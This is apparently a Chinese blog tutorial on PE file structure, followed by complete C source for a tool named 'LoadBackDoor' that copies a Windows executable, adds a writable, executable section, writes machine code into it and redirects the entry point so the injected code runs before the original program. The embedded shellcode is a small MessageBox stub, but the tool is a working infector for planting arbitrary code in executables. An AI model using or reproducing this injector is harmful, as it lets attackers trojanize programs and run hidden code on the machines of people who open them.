前几天看了下仔细看了下PE结构。PE是什么?呵呵,在windows里你可以理解成扩展名是.exe的那些文件,点一下就可以运行的就是了!
好了,目标是向一个PE文件中注入一段自定义的机器码(这个对机器码的要求相当苛刻,里面使用的所有API的地址都必须自己得到,一般是暴力搜索,先不管它),需要达到点了文件后,首先运行我们注入的机器码,而后启动原来的程序!
原理:PE里面有大量的空隙,PE的具体内容是分成节的,主要有资源节,数据节,代码节等,作用是什么看名字就知道了。主要的框架与磁盘结构有异曲同工之妙!在最后一个节表后面增加一个节表,来添加我们新节的描述信息!在最后一个节中添加我们的机器码!须注意的是文件必须有严格的对齐方式(什么?连对齐都不知道是什么。PE结构不过关!),否则的话,windows给我们一个'该文件不是一个有效的win32程序'的错误那就不好了!好了,下面就是代码,有注解!
//----------------------------------By YeShenYue--------------------------------------------//
#include <windows.h>
#include <winnt.h>
#include <stdio.h>
#include <assert.h>
#define DEBUG 1
#define EXTRA_CODE_LENGTH 18
#define SECTION_SIZE 0x1000 //增加的节的大小
#define SECTION_NAME ".ngaut" //增加的节的名字
#define FILE_NAME_LENGTH 30
unsigned char szHexCode[]={
0x6A,0x40,0xE8,0x06,0x00,0x00,0x00,0x78,
0x34,0x68,0x00,0xEB,0x09,0xE8,0x04,0x00,
0x00,0x00,0x78,0x34,0x68,0x00,0x6A,0x00,
0xB8,0x8A,0x05,0xD5,0x77,0xFF,0xD0
};
int Align(int size, int ALIGN_BASE)
{
int ret;
int result;
assert( 0 != ALIGN_BASE );
result = size % ALIGN_BASE;
if (0 != result) //余数不为零,也就是没有整除
{
ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;
}
else
{
ret = size;
}
return ret;
}
void usage()
{
printf("用法:\n");
printf("LoadBackDoor.exe FileName\n");
printf("eg: \n");
printf("\tLoadBackDoor.exe test.exe\n");
}
int main(int argc, char *argv[])
{
IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;
IMAGE_SECTION_HEADER SectionHeader;
IMAGE_SECTION_HEADER newSectionHeader; //新增加的节的节头
int numOfSections;
FILE *pNewFile;
int FILE_ALIGN_MENT;
int SECTION_ALIGN_MENT;
char srcFileName[FILE_NAME_LENGTH];
char newFileName[FILE_NAME_LENGTH];
int i;
int extraLengthAfterAlign;
unsigned int newEP; //新入口点
unsigned int oldEP;
BYTE jmp;
char *pExtra_data;
int extra_data_real_length;
if (NULL == argv[1])
{
puts("参数错误\n");
usage();
exit(0);
}
strcpy(srcFileName, argv[1]);
strcpy(newFileName, srcFileName);
strcat(newFileName, ".exe");
//复制一份
if (!CopyFile(srcFileName, newFileName, FALSE))
{
puts("Copy file failed");
exit(0);
}
//打开新文件,文件名为原来的文件名 + .exe
pNewFile = fopen(newFileName, "rb+"); //打开方式"rb+"
if (NULL == pNewFile)
{
puts("Open file failed");
exit(0);
}
fseek(pNewFile, 0, SEEK_SET);
//读取IMAGE_DOS_HEADER
fread(&DosHeader, sizeof(IMAGE_DOS_HEADER), 1, pNewFile);
if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
puts("Not a valid PE file");
exit(0);
}
//先定位到pe文件头,然后读取IMAGE_NT_HEADERS
fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
fread(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);
if (NtHeader.Signature != IMAGE_NT_SIGNATURE)
{
puts("Not a valid PE file");
exit(0);
}
//到这里,该文件就算是被验明正身了--合法的PE文件
numOfSections = NtHeader.FileHeader.NumberOfSections;
FILE_ALIGN_MENT = NtHeader.OptionalHeader.FileAlignment;
SECTION_ALIGN_MENT = NtHeader.OptionalHeader.SectionAlignment;
#if DEBUG
printf("FILE_ALIGN_MENT-> %x\n", FILE_ALIGN_MENT);
printf("SECTION_ALIGN_MENT-> %x\n", FILE_ALIGN_MENT);
#endif
//保存原来的入口备用
oldEP = NtHeader.OptionalHeader.AddressOfEntryPoint;
//定位到最后一个SectionHeader
for (i = 0; i < numOfSections; i++)
{
fread(&SectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);
#if DEBUG
printf("节的名字:%s\n", SectionHeader.Name);
#endif
}
//增加一个新节前的准备工作
extraLengthAfterAlign = Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);
NtHeader.FileHeader.NumberOfSections++; //节的总数加一
//先清零
memset(&newSectionHeader, 0, sizeof(IMAGE_SECTION_HEADER));
//修正部分数据
strncpy((char*)newSectionHeader.Name, SECTION_NAME, strlen(SECTION_NAME)); //修正节名
//修正VirtualAddress和VirtualSize通过对齐SECTION_ALIGN_MENT
//修正VirtualAddress
newSectionHeader.VirtualAddress = Align(SectionHeader.VirtualAddress + SectionHeader.Misc.VirtualSize,
SECTION_ALIGN_MENT);
//修正VirtualSize
newSectionHeader.Misc.VirtualSize = Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);
//修正PointerToRawData
newSectionHeader.PointerToRawData = Align
(
SectionHeader.PointerToRawData + SectionHeader.SizeOfRawData,
FILE_ALIGN_MENT
);
//修正SizeOfRawData
newSectionHeader.SizeOfRawData = Align(SECTION_SIZE, FILE_ALIGN_MENT);
//修改新节的属性
newSectionHeader.Characteristics = 0xE0000020; //可读可些可执行
//修正NtHeader
#if DEBUG
printf("\nSizeOfCode: %x\n", NtHeader.OptionalHeader.SizeOfCode);
printf("\nSizeOfImage: %x\n", NtHeader.OptionalHeader.SizeOfImage);
#endif
NtHeader.OptionalHeader.SizeOfCode = Align(NtHeader.OptionalHeader.SizeOfCode + SECTION_SIZE, FILE_ALIGN_MENT); //修正SizeOfCode
NtHeader.OptionalHeader.SizeOfImage = NtHeader.OptionalHeader.SizeOfImage
+ Align(SECTION_SIZE, SECTION_ALIGN_MENT); //修正SizeOfImage
#if DEBUG
printf("\nSizeOfCode: %x\n", NtHeader.OptionalHeader.SizeOfCode);
printf("\nSizeOfImage: %x\n", NtHeader.OptionalHeader.SizeOfImage);
#endif
//Set zero the Bound Import Directory header
NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
fseek(pNewFile, 0, SEEK_END);
newEP = newSectionHeader.VirtualAddress;
#if DEBUG
printf("oldEP-> %x\n", oldEP);
printf("newEP-> %x\n", ftell(pNewFile));
#endif
NtHeader.OptionalHeader.AddressOfEntryPoint = newEP;
//定位节表尾部
fseek(
pNewFile,
DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS)
+ numOfSections * sizeof(IMAGE_SECTION_HEADER),
SEEK_SET
);
#if DEBUG
printf("Before write section header file pointer-> %x\n", ftell(pNewFile));
printf("newSection name: %s\n", newSectionHeader.Name);
#endif
//写入修正后的节头
fwrite(&newSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);
#if DEBUG
printf("After write section header file pointer-> %x\n", ftell(pNewFile));
#endif
//写入修正后的PE文件头(NT头)
fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
#if DEBUG
printf("Before write NtHeader pointer-> %x\n", ftell(pNewFile));
printf("sizeof(IMAGE_NT_HEADERS): %x\n", sizeof(IMAGE_NT_HEADERS));
#endif
fwrite(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);
//定位到文件尾部
fseek(pNewFile, 0, SEEK_END);
#if DEBUG
printf("End of file pointer-> %x\n", ftell(pNewFile));
#endif
//写入新节,这里先写入0
for (i=0; i<Align(SECTION_SIZE, FILE_ALIGN_MENT); i++)
{
fputc(0, pNewFile);
}
//定位到新节的开头
fseek(pNewFile, newSectionHeader.PointerToRawData, SEEK_SET);
#if DEBUG
printf("Before write extra data pointer-> %x\n", ftell(pNewFile));
#endif
extra_data_real_length=sizeof(szHexCode);
for (i = 0; i < extra_data_real_length; i++)
{
fputc(szHexCode[i], pNewFile);
}
oldEP = oldEP - (newEP + extra_data_real_length) - 5;
#if DEBUG
printf("oldEP is-> %x\n", oldEP);
#endif
jmp = 0xE9;
fwrite(&jmp, sizeof(jmp), 1, pNewFile);
fwrite(&oldEP, sizeof(oldEP), 1, pNewFile);
fclose(pNewFile);
return 0;
}
vc6.0编译通过.
点此下载